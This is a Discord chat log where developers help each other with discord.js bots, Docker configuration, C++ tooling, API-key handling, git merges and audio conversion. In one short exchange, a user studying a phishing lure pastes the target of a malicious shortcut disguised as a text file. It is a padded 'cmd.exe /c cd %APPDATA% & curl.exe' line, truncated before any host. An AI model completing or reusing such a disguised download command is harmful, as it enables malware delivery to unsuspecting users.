#

if you're using js, there's a string.repeat function Which you can do to align text

wheat mesa
#

Also .padLeft and .padRight

#

And .format

#

Many different ways to align strings

lyric mountain
#

Padleft/right is the best way if u don't have access to string format

earnest phoenix
#

Hey, I have some commands in which I used deferReply function, and when I run bot in my pc, those commands run perfectly but when I host my bot those deferReply commands don't work, only the normal one work.

Plz help!!

solemn latch
#

any errors? or it just doesn't work?

paper geyser
stiff dust
#

Well I created a swiper for my site with https://swiperjs.com/ but it go to next object after a delay I want it have better animation like the swiper in https://beemo.gg/ don't want to wait what should I do?

earnest phoenix
stiff dust
earnest phoenix
quartz kindle
#

youre not supposed to use followup there

#

deferreply is to reply later

#

followup is after you reply

#

but you still have to send a normal reply in between a defer and a followup

earnest phoenix
#

tim!1!1!1!1!1

quartz kindle
#

wot

earnest phoenix
#

hai

quartz kindle
#

hai

earnest phoenix
lyric mountain
#

in-between those, you never replied once

sharp geyser
neon leaf
#

how cant it find the file?

#

it works when not in docker with the same files

lyric mountain
#

is config.json in the same folder as /app?

#

like /config.json instead of /app/config.json

neon leaf
#

its /app/config.json

#

theres an ls higher in the image

lyric mountain
#

then ur going 1 folder higher than necessary

#

should be just ../config.json

neon leaf
#

I just made another container but hardcoded the config and it works, so its basically not in the dockerignore and the entrypoint doesnt create one

#

weird

lyric mountain
#

u can also just use /config.json

#

since it'll be at the root of the environment

neon leaf
#
# !/bin/bash

INTERNAL_IP=$(ip route get 1 | awk '{print $(NF-2);exit}')
export INTERNAL_IP

cp /tmp/config.json /config.json

# Change Config Values
sed -i -e "s|D-PAPER_HOST|${PSQL_HOST}|" /config.json
sed -i -e "s|D-PAPER_DATABASE|${PSQL_DATABASE}|" /config.json
sed -i -e "s|D-PAPER_USERNAME|${PSQL_USERNAME}|" /config.json
sed -i -e "s|D-PAPER_PASSWORD|${PSQL_PASSWORD}|" /config.json

sed -i -e "s|C-PAPER_ACCOUNT|${ACCOUNT_CAPTCHA}|" /config.json
sed -i -e "s|C-PAPER_DEVELOPERS|${DEVELOPERS_CAPTCHA}|" /config.json
ls -alFh /app

node .```

would this work?
#

according to node, no

#

wait

#

nvm

#

well whats the best way to make my app recieve the docker env vars but still be able to test without docker?

quartz kindle
neon leaf
#

my current "tactic" is to just write the envs to the config and boom, can still test locally using the config

sharp geyser
#

Man fuck c++ and using libs

lyric mountain
#

before: Ha! X lang is way too bad, noobs always go for the easiest
after: Man I'm happy there are alternatives

quartz kindle
#

what libs are you trying to use lol

sharp geyser
quartz kindle
#

xD

sharp geyser
#

Wtf even is cmake btw

#

It looks useless

lyric mountain
#

it's like python wheel

quartz kindle
#

cmake is basically gcc

#

but better?

sharp geyser
#

okay so I build it now what

quartz kindle
#

now run it

sharp geyser
#

Tim

#

It doesn't give me anything to run

#

Unless I am blind

#

Gotta restore the files as I deleted out of anger

lyric mountain
#

sln?

#

are u coding in c++ or c#?

sharp geyser
#

c++

lyric mountain
#

c++ uses solutions too?

sharp geyser
#

I would also like to note that apparently this doesn't exist but it gives me intellisense for it and its in my includePath

earnest phoenix
sharp geyser
#

cannot open sourrce file

#

🥹

#

@wheat mesa why the fuck do you guys use C++

#

Even starting with it is a pain

wheat mesa
#

Because most people do not start C++ with using libraries

sharp geyser
#

Okay I am not most people waffle

#

I thought we knew this already

#

If it ain't challenging it is boring

wheat mesa
#

You should learn the language before attempting to use libs

#

They’re usually complex

lyric mountain
wheat mesa
#

(To set up and use)

sharp geyser
#

Waffle, what is there to learn about this cursed language

wheat mesa
#

Pointers, references, structs, classes, modern C++, etc

#

There’s tons to learn

#

Operator overloading

sharp geyser
#

Okay fair enough

#

Also Visual Studio is cancer to navigate

#

Wont even let me make folders

#

Yes and so does 50 other options

#

Yea no you legit cant make folders in visual studio

wheat mesa
#

You can tho

#

Right click where your folders are and click “add”

earnest phoenix
#

Use CLion for C/C++ development instead mmLol

#

JetBrains' IDEs are great, paid but awesome

#

volt help training ai is pain

#

don't train it

#

push to prod and let the magic happen

#

it is in prod

#

💀

#

thanks to a team member running /train

#

so you haven't trained it before, very good

earnest phoenix
earnest phoenix
sharp geyser
earnest phoenix
#

or when it shouldnt

sharp geyser
#

but nah this is too much of a headache

earnest phoenix
sharp geyser
#

I will train you voltrex

earnest phoenix
#

I will punish you Misty

sharp geyser
earnest phoenix
earnest phoenix
#

its about falsepositives

#

whenever you add something to be a falsepositive, the one thats positive now has low score

#

Well yeah that's how AIs work, the best way to get rid of false positives is to train it with a lot more data that is considerably accurate

#

A little bit of data will do no good

lyric mountain
#

yep, that's one of the reasons I gave up on training my own ai

#

not 100, not 1000, 100k would still be a low bet

#

it takes an ungodly amount of samples to have a reliable enough ai

sharp geyser
#

Just train it with 1B

earnest phoenix
#

like
sponsorblock would trigger the ai
sponsorblock isnt working would also trigger the ai
but after adding the sponsorblock word to the falsepositive label, spobsorblock isnt working does no longer trigger

#

but i think thresholds would "fix" that

sharp geyser
#

@earnest phoenix any idea if I should pay attention to this?

earnest phoenix
#

As well as the build tool, but Ninja is pretty good

sharp geyser
#

For now ima just use this

#

I will worry about the different ones later on

earnest phoenix
#

You're welcome

#

gdb CatJAM

sinful pecan
#

Hello, I have a problem with my code, my salons are created correctly but they do not appear in the right order.
I have been told that this is coming from the parent but I have tried everything but I can't get it. Here is the code for the backup create & backup load.

If you knew where this could come from because it's been more than 4 days that I'm on it & I can't fix it... Backup create : js //SAUVEGARDE CHANNELS const channels = await interaction.guild.channels.cache.sort(async function (a, b) { return a.position - b.position; }).map(c => { const channel = { name: c.name, type: c.type, topic: c.topic, nsfw: c.nsfw, position: c.position, parent: c.parent, reason: c.reason, }; if (c.parent) channel.parent = c.parent; return channel; }); Backup load : js //CHARGEMENT BACKUP CHANNEL backups[id].channels.forEach(async channel => { if (channel.type === ChannelType.GuildText) { console.log(channel.parent) await interaction.guild.channels.create({ name: channel.name, type: 0, position: channel.position, topic: channel.topic, parent: channel.parent, }); } if (channel.type === ChannelType.GuildCategory) { await interaction.guild.channels.create({ name: channel.name, type: 4, position: channel.position, topic: channel.topic, }); } });

lyric mountain
quartz kindle
#

your old positions are invalid after the channels are deleted

#

a channel in position 10 makes no sense in a server with 2 channels for example

sharp geyser
#

I also would not just loop through like that

#

That'd do way too many api calls in succession and hit a ratelmit

lyric mountain
#

a ratelimit-friendly backup command would take like 1 day to restore an average size server

#

unless it's a private bot, in which case you'd not have to care abt global rates

#

nope, except for IDENTIFY limit

#

you can request special limits once ur bot gets big enough tho, but I don't think discord would like such feature

#

last time I checked it did, but that was long before priv intents, so idk now

#

it probably has a heavily throttled restoration speed, to stay below limits

radiant kraken
# sharp geyser Windows
cmake -B build .
cmake
cd build
msbuild build/<theprojectname>.sln -nologo -p:Configuration=Release

(though i'm not sure how would you import D++ here, you can refer to Brain's documentation for that)

radiant kraken
#

it's learning curve is pretty steep, especially just for importing/exporting C/C++ libraries

#

mods, command line apps, GUI apps and games, etc

#

like what

#

yeah i know

#

but C++ is useful for writing native apps

#

i know

dry imp
#

null knows

radiant kraken
#

i do

sharp geyser
#

@radiant kraken I am hating on everything C++

#

C++ no bueno

radiant kraken
#

🚀 🔥 💪

sharp geyser
#

only issue is the library is missing dlls

#

😔

radiant kraken
sharp geyser
#

Well no

#

they just aren't there

radiant kraken
#

install them then

#

ezpz

sharp geyser
#

I already have still issue unsolved sadly

#

I copied the appropriate dll files and pasted them into the correct place

radiant kraken
#

You were probably missing some compiler flag

sharp geyser
#

I am just going to ask in the lib support server

lyric mountain
#

proceeds to post a snap of code without any context

sand reef
#

hi

wheat mesa
#

also @sharp geyser please don't start C++ with D++

#

it's a bad idea

#

it relies on some advanced C++ techniques

#

like lambda capturing and atomic locking and such

sharp geyser
radiant kraken
final hollow
#

Hi

#

Ñ

sharp geyser
radiant kraken
sharp geyser
radiant kraken
earnest phoenix
#

"how hard could it be" said reis

sharp geyser
#

Hey null wanna run my totally legit exe file

#

;)

radiant kraken
earnest phoenix
#

no https thats okay

sharp geyser
#

you can't even use the internet

radiant kraken
#

and it must be https

#

with a certificate

earnest phoenix
#

then fuck no

sharp geyser
#

Sounds like null just needs free labor

earnest phoenix
#

do you want me to completely go insane

radiant kraken
#

yes i do

earnest phoenix
#

and stay like that

#

wow

radiant kraken
sharp geyser
#

I mean I am subjecting myself to opengl soon™️

radiant kraken
#

opengl is hell

sharp geyser
#

I know

earnest phoenix
#

have fun going insane

sharp geyser
#

I love opengl docs

radiant kraken
#

then i pity for your sanity

sharp geyser
#

Basically a big fuck you

#

"Wanna know what to do? So do I, go look for someone who fucking knows"

#

They tell you that you have to create something

#

but not how to create it

radiant kraken
#

@earnest phoenix rewrite revanced in c++ when

sharp geyser
#

whats revanced

radiant kraken
#

his project thingy

sharp geyser
#

?

radiant kraken
#

No

#

Check his github

sharp geyser
#

He is part of that group tho

#

All the stuff on his github related to revanced is just a js version of whats on that group

pale vessel
#

not moving to revanced until my vanced breaks

sharp geyser
#

Yea

#

I am apple user

#

can't use cracked apps anymore

pale vessel
#

oh, why not

#

what phone did you switch from/to

sharp geyser
#

I am an apple user

#

I now have iphone se

pale vessel
#

old or new one?

sharp geyser
#

2nd gen

#

but its on IOS 16 which doesn't allow sideloading apps that easily

#

I'd have to get a developer account and be part of the developer program

#

and thats too much work

pale vessel
#

I see

earnest phoenix
sharp geyser
#

Why rust

earnest phoenix
#

rather than c++

sharp geyser
#

Rust is good

#

but just asking

earnest phoenix
#

idk

#

im not patcher/patches/manager dev

#

only helper which isnt open source yet

earnest phoenix
#

but apktool is still needed

#

sooo yeah

#

and just like my other projects, ill never finish it :teef:

dry imp
radiant kraken
earnest phoenix
#

@radiant kraken hey wanna rewrite 3 bots, a tcp server and a tcp client in rust

earnest phoenix
#

dw i wouldnt make you suffer

boreal iron
#

Just show and log the initial statement and it's result @earnest phoenix

#

When can go on then

#

also brb in a few minutes

#

print()

#

Should be the equivalent of console.log

dry imp
#

better

earnest phoenix
#

whats this

#
      throw err
      ^
Error: ENOENT: no such file or directory, open '/home/container/logs/combined-2022.10.19.log'
    at Object.openSync (node:fs:590:3)
    at openFile (/home/container/node_modules/sonic-boom/index.js:69:21)
    at new SonicBoom (/home/container/node_modules/sonic-boom/index.js:119:5)
    at buildSafeSonicBoom (/home/container/node_modules/pino/lib/tools.js:214:18)
    at Function.module.exports.destination (/home/container/node_modules/pino/pino.js:191:12)
    at Object.<anonymous> (/home/container/src/helpers/Logger.js:29:20)
    at Module._compile (node:internal/modules/cjs/loader:1155:14)
    at Object.Module._extensions..js (node:internal/modules/cjs/loader:1209:10)
    at Module.load (node:internal/modules/cjs/loader:1033:32)
    at Function.Module._load (node:internal/modules/cjs/loader:868:12) {
  errno: -2,
  syscall: 'open',
  code: 'ENOENT',
  path: '/home/container/logs/combined-2022.10.19.log```
#

you tell me

#

i dont know @earnest phoenix

#

what this means

boreal iron
#

Did you already read the error?

#

It tells you very specifically the file you're trying to open doesn't exist

#

(or the path to the file is wrong)

boreal iron
#

No, print the entire result

#

I wanna see it as well as initial statement, please

tulip ledge
#

If I use an api key in a react onSubmit function for example, will it be hidden in the dev tools for the website or how do I make it hidden?

earnest phoenix
#

Everything that is frontend is public code. If you want to make it hidden, use a backend that will be requested from the frontend

tulip ledge
earnest phoenix
#

you dont

#

network requests tab exists on devtools

#

you cant manipulate it

earnest phoenix
#

Your backend will do the request to the API with the API key and return the result(s)

#

That API key will never be shown to the user

tulip ledge
#

ahhh

#

I see

#

that makes sense

#

but can't make people a request to the endpoint and technically use my api key aswell?

earnest phoenix
#

They can, they will just know your API key

#

Which is, as you said, not what you want

tulip ledge
#

mmmmh

#

the API key I'm using has a limited amount of uses a month

earnest phoenix
#

In that case you'll definitely need a backend

#

Can't hide it otherwise

tulip ledge
#

so couldn't someone with malicious intend take the endpoint of my API and basically spam it, resulting in my API key being blocked?

#

yeah i'll definitely use a backend but is there a way to make it only work when accessed through my react app?

earnest phoenix
#

You can add authentication to make sure the user is authenticated and then add some rate limit, such as X requests per day for each user

tulip ledge
#

right

#

thank you

earnest phoenix
#

No problemo krHype

solemn latch
#

isn't it just

set voteCount = voteCount+1

to increment?
why use result[1]?

rigid maple
#

Hey! I merge all the pcm files in the recordings folder into a file named merge.pcm and convert it to the out.wav file in the voices folder.
I am using ffmpeg to do this but although the .pcm files are full the .wav file is just noise

#

merge and convert codes

hasty mulch
#

Can someone help me understand this?

earnest phoenix
#

That it github merging

#

You have 2 branches, main and 2.0-migration

#

You made changes in one and the other, hence it has a merge conflict now

hasty mulch
#

I want it to take 2.0-migration

earnest phoenix
#

So you can delete the ===== things etc.

#

Usually you resolve merge conflicts within an IDE because they display that better and let you solve them better

#

You can simply edit the file in the text editor you have so that it looks the way you want, then click on "Mark as resolved"

hasty mulch
#

Can I just delete the whole text thing and replace it with I have saved locally for the 2.0-migration?

quartz kindle
#

you'd have to delete first, then commit the delete, then rebase, then merge

earnest phoenix
#

You can, yes

hasty mulch
#

Like this?

quartz kindle
#

sure

earnest phoenix
#

Yep, if that's how you need it to be

quartz kindle
#

that also works lel

hasty mulch
#

Awesome

rigid maple
#

how can i merge all .pcm files inside a single folder into one .pcm file

#

i think not working because when converting pcm file to wav format, I get an error like this;

earnest phoenix
#

Hey i use config.json to store my bot's token and when I import it in index.js it works fine.
But when I do the same in handelCommands.js it says in terminal that ./config.json module not found.

Plz help!!

#

Here's my handelCommands.js-

const { REST } = require("@discordjs/rest");
const { Routes } = require('discord-api-types/v9');
const fs = require('fs');
const { Token } = require('./config.json'); 

const clientId = 'My_bot_id'; 
const guildId = 'My_guild_id'; 

module.exports = (client) => {
    client.handleCommands = async (commandFolders, path) => {
        client.commandArray = [];
        for (folder of commandFolders) {
            const commandFiles = fs.readdirSync(`${path}/${folder}`).filter(file => file.endsWith('.js'));
            for (const file of commandFiles) {
                const command = require(`../commands/${folder}/${file}`);
                client.commands.set(command.data.name, command);
                client.commandArray.push(command.data.toJSON());
            }
        }

        const rest = new REST({
            version: '9'
        }).setToken(Token);

        (async () => {
            try {
                console.log('🕑 Refreshing  slash commands.');

                await rest.put(
                    Routes.applicationCommands(clientId), {
                        body: client.commandArray
                    },
                );

                console.log('✅ Successfully reloaded slash commands.');
            } catch (error) {
                console.error(error);
            }
        })();
    };
};```
quartz kindle
earnest phoenix
#

theres your issue

quartz kindle
#

./ means "current folder"

earnest phoenix
#

tbh id go insane if i were to help people here (speaking from experience)

quartz kindle
#

so if you use ./ inside functions it will look for config.json inside functions

earnest phoenix
quartz kindle
#

../ means previous folder

earnest phoenix
#

Because config.json is a separate file

quartz kindle
#

what is your folder structure?

#

like this?
v functions
- handleCommands.js

  • config.json
  • index.js
earnest phoenix
quartz kindle
#

it doesnt matter if its a separate file

#

what matters is where the files are located

earnest phoenix
#

So how do i import?

quartz kindle
#

../

earnest phoenix
#

But u said that it's for previous ones

quartz kindle
#

yes

earnest phoenix
#

What this will do? ../../

quartz kindle
#

handleCommands.js is inside the functions folder, correct?

quartz kindle
#

so ./config.json means "look for config.json inside THIS folder"

#

THIS in relation to the file that is using the code

#

handleCommands.js is using the code

#

handleCommands.js is inside functions

#

so THIS folder is functions

earnest phoenix
#

../ means that it can import from anywhere?

I mean from outside the functions folder

quartz kindle
#

../ means previous folder, so ../config.json means "look for config.json in the PREVIOUS folder"

#

aka, the folder BEFORE THIS folder

#

aka, the folder before functions

earnest phoenix
quartz kindle
#

then you need to go further back

#

../../config.json = "look for config.json 2 folders back"

#

thats why your folder structure is important

earnest phoenix
#

I'll try it and tell u. Ok?

#

Is there a way that i can change the structure?

#

I also wanna move node modules to the top.

quartz kindle
#

what do you mean move node modules to the top lol

quartz kindle
earnest phoenix
quartz kindle
#

they are ordered in alphabetical order

earnest phoenix
#

O lol

quartz kindle
#

pretty sure you cant control that

earnest phoenix
#

Oh shi

quartz kindle
#

unless there is some vsc extension that lets you do that lol

earnest phoenix
#

Ok, btw thanks for ur time. I'll try and tell you.

#

Bye!
👋

quartz kindle
#

closest thing i found was this

sharp geyser
#

Doesnt seem very convenient if you have to open a window to view em

neon leaf
#

nvm, had to add

.setMinValues(0)
.setMaxValues(3)
rigid maple
neon leaf
#

ah, well I prob wont use more than 25 slots lol

#

why isnt it giving me roles? the logs say the logic itself works fine

#

had to add await infront of member.roles.add & remove

boreal iron
#

First of all, await the promises

#

well yeah

#

then make sure the guild member doesn't have a higher role than ur bot

solemn latch
#

just a warning, member.roles.remove([]) will remove all roles from the user.

If you happen to have no roles in remRoles youll remove all roles.

neon leaf
#

oh

earnest phoenix
#

Right so, how does that make sense

neon leaf
#

what would be the best way to fix that? insert a invalid role id if length is 0?

earnest phoenix
#

Just don't remove if empty

neon leaf
#

yep, didnt think abt that

earnest phoenix
#

Is it intentional that when you pass an empty list it will remove everything? It's super weird imo

solemn latch
#

Yeah it is

neon leaf
earnest phoenix
#

That's fine yeh

boreal iron
#

as long as addRoles is an array (or string)

neon leaf
#

it always is ;)

boreal iron
#

it's okay then

neon leaf
flat copper
#
fs.promises.writeFile("./data.json", JSON.stringify({data: 1}))

its creating the file but not writing in it.
and its throwing error " no such file or directory"

quartz kindle
earnest phoenix
#

Very happy I never touched djs

neon leaf
solemn latch
#

Its a million times better now

quartz kindle
#

that error would prevent the file from being created

boreal iron
#

worst way of formatting chars i've ever seen

earnest phoenix
#

I hate when people use '' for strings

#

To me that's for character data type

boreal iron
#

i'm only using single quotes in arrays

#

woo['is']['very']['bad']

solemn latch
#

single quotes for user facing strings/errors

boreal iron
#

great example

solemn latch
#

kek

earnest phoenix
solemn latch
#

I like to quote things in user facing strings, so

{error: 'Something from discord dev docs "you cant do that!"'}
or
{error: "Something from discord dev docs 'you cant do that!'"}

'"somequote"'
looks better imo

boreal iron
#

shhh, it doesn't

#

never used sql, hmm

#

would u escape any single quote then?

#

errr tf happened to the ui

solemn latch
#

Honestly, I dont think I've used single quotes in user facing strings before.

boreal iron
#

looks like icons, emojis and profile statuses are much larger than before

earnest phoenix
#

emojis yeah

#

Haven't seen that much difference on other things

boreal iron
#

that status is huge now

#

also now having a different border color

earnest phoenix
#

oh that profile yeah

#

holy smokes

boreal iron
#

should be a little bit bigger to cover the avatar entirely

earnest phoenix
#

it's an easter egg ggs

boreal iron
#

discord doing weird things, like always I guess

earnest phoenix
#

It's still insane that 10% of the community servers don't have access to the forums channel

#

Like, I hate how Discord rolls out features

#

we thankfully do

#

its better this way

#

threads sucked for our support channel

#

it's just a complete joke

#

🗿💀

north nymph
#

Most of them never boosted once and a member count < 5

earnest phoenix
#

Yes I am sure, employees confirmed it.

#

That's how Discord does features rollout

north nymph
#

Aha

#

I remember when global slash commands was said to take "an hour to register"

earnest phoenix
#

That was true depending on the bot, though they changed it and now it's instant

north nymph
#

Yeah, Maybe they're following the same psychotomimetic with the updates rollout, hopefully that is changed nearly

#

i don' even know what this word is but whatever

earnest phoenix
#

It's just A/B testing

#

Though they do it in a very bad way

north nymph
#

Yeah, it's like 90% test the feature for the 10%

#

Maybe those 10% are the big guilds that can't be messed with, with an "un-tested" feature

earnest phoenix
#

Nah

#

My guild is in those 10%

#

And it's not a big guild KEKW

#

And they tend to give to verified and partnered servers even before others

#

it's randomised but not entirely

north nymph
#

Ahaa 😅 well let's see what discord does next, pretty sure it's a removal of the active developer badge reasoned by people who get their systems broken running unknown executable(s)

winter pasture
#

Is it this experiment? 👀

earnest phoenix
#

yeh

winter pasture
#

I am still sad about this one. When stickers first came out anyone could upload lotties, but then they made it partner only 😭

earnest phoenix
winter pasture
#

I had some poggers lottie files I created

earnest phoenix
#

Man was prepared

#

But got removed omegakeklmao

north nymph
#

Uhh what's a lottie

earnest phoenix
#

Basically custom animations in json-like format

north nymph
#

ooh like in css?

winter pasture
north nymph
#

that's very cool

earnest phoenix
#

yesh

north nymph
#

can't it be converted to a gif or any workaround tho?

winter pasture
#

Ye, they even got a tool for it

#

But I wanted to upload ma lottie for bragging rights

earnest phoenix
winter pasture
#

Plus the size limit makes it so I cant upload it

sharp geyser
#

ello johand

winter pasture
#

Hi Abe

north nymph
earnest phoenix
#

good luck with that

winter pasture
north nymph
#

if he got 15k plus members of course

winter pasture
#

Managed to upload that shitty lottie

#

before they nuked it

earnest phoenix
#

Members are not enough to get verified

#

They're super strict for that

#

Can't verify a server just based on member count

surreal sage
#

I'm trying to discover and research this social engineering trick.
They've got a .ink but it's shown as a .txt
There are hidden characters in the target property but most seem to be a latin space, anybod know something?

C:\Windows\system32\cmd.exe  /c "cd %APPDATA% & curl.exe                                                                                                   
earnest phoenix
#

Thanks for the images, now I don't lag

surreal sage
earnest phoenix
#

Those are just vague and useless tbh

winter pasture
#

Should be possible I think

earnest phoenix
#

The member count doesn't even count in server verification

north nymph
boreal iron
#

also possible via. command prompt

#

mklink

winter pasture
surreal sage
north nymph
#

:(

earnest phoenix
north nymph
#

damn it i'll just record it with a gif recorder

earnest phoenix
#

Well you can steal them

#

As you said, they're rendered by the client keka

#

Well not so easily, but I remember there was a tool for that

winter pasture
#

Most stickers are <img> tags tho, so those have a link

north nymph
#

Is amoled mode out yet in the client?

winter pasture
#

Just lotties that are in a canvas

surreal sage
earnest phoenix
north nymph
#

i tested it once in the desktop client like 3 months ago i guess, it looked of course better but needed lot of work on other things

#

like the default role color compared with the default background of the app

earnest phoenix
north nymph
#

i used to enable dev mode

#

then expirements

earnest phoenix
#

Overcomplicated

north nymph
#

well thanks that's actually better

earnest phoenix
north nymph
#

Member#isBot(): KEKW

#

then it don't deserve to be called a bot, shake my 👨🏻‍🦲

boreal iron
#

making it look like a text icon

surreal sage
#

The input property *display has a maximum length of characters allowed

#

You can fuck with the urls etc

#

ton fuck of latin spaces

boreal iron
#

i better don't ask what ure trying to do

surreal sage
#

Yes. ThumbsUp

spark flint
#

this isn't client mods, so no

rigid maple
#

how can i merge all .pcm files inside a single folder into one .pcm file
i think not working because when converting pcm file to wav format, I get an error like this;

spark flint
quartz kindle
rigid maple
#

I want to add one after another

quartz kindle
#

does it work if you convert one pcm to wav?

rigid maple
#

let me try now

#

oh no i think i found the problem

#

It also gives noise when I convert a normal pcm file to wav

#
const createNewChunk = () => {
  const pathToFile = __dirname + `/../recordings/${Date.now()}.pcm`;
  return createWriteStream(pathToFile);
};
#

but i don't see any problem in sound recording part

quartz kindle
#

you cannot convert raw opus to pcm

#

you have to put the raw opus data in a container like ogg

rigid maple
#

How should I research this?

sharp geyser
#

@quartz kindle what does this do

quartz kindle
quartz kindle
#

you probably have to use ffmpeg with libopus or some other extra lib

rigid maple
#

://

quartz kindle
#

does the pcm file work if you play with vlc or something?

rigid maple
#

there are some programs to open pcm but not installed on my computer

quartz kindle
#

try to open the file with mediainfo

#

to see what is the actual codec data

#

also try looking for opus stream libraries

#

opus stream encoder

rigid maple
#

I guess I'll have to download 😃

quartz kindle
#

i have to go now, good luck

storm steppe
#

!markdown

sharp geyser
rigid maple
#

thanks

sharp geyser
#

I am shocked you could even read it

radiant kraken
#

everyone can

sharp geyser
#

not me

#

light theme makes it impossible on my monitor

dire light
#

good tho know there is a fellow light theme enjoyer

#

Im not feeling alone now

sharp geyser
#

I hate light theme

#

wym

dire light
#

wait

#

so why u using light theme

sharp geyser
#

Im not

#

It was a code snippet from online

dire light
#

oh

#

that solves everything

sharp geyser
#

I would never use light theme

#

especially not something that has no syntax highlighting

earnest phoenix
sharp geyser
#

This is what my actual theme is

dire light
#

damn, so goin back to my cave to continue enjoying light theme in solitude

earnest phoenix
#

why is int smaller than everything else

sharp geyser
#

idk

dire light
#

some vsc plugin ig

sharp geyser
#

wrong

dire light
#

(i think vsc)

sharp geyser
#

CLion

earnest phoenix
#

that's not vsc yeah

#

the message: thingy is on Jetbrains' ides

sharp geyser
#

Only jetbrains product I use now

lament rock
#

also with gh co pilot

sharp geyser
#

fuck gh co pilot

lament rock
#

true emoji

earnest phoenix
#

copilot has nothing to do with syntax highlighting

sharp geyser
#

they have suggestions on data types and such tho

lament rock
#

it provides the param: value thing in calls

radiant kraken
sharp geyser
#

Me testing out Header files and looking at the compilations and linking stuff

#

Gotta remember null I am new to C++

dire light
sharp geyser
#

I am testing anything and everything I find and seeing how it performs

#

unfunny

dire light
#

different type of humor ig, understable

radiant kraken
sharp geyser
radiant kraken
#

oh okay

sharp geyser
#

Like I didn't know that the compiler literally just pastes the file's contents of the preprocessor statement when using include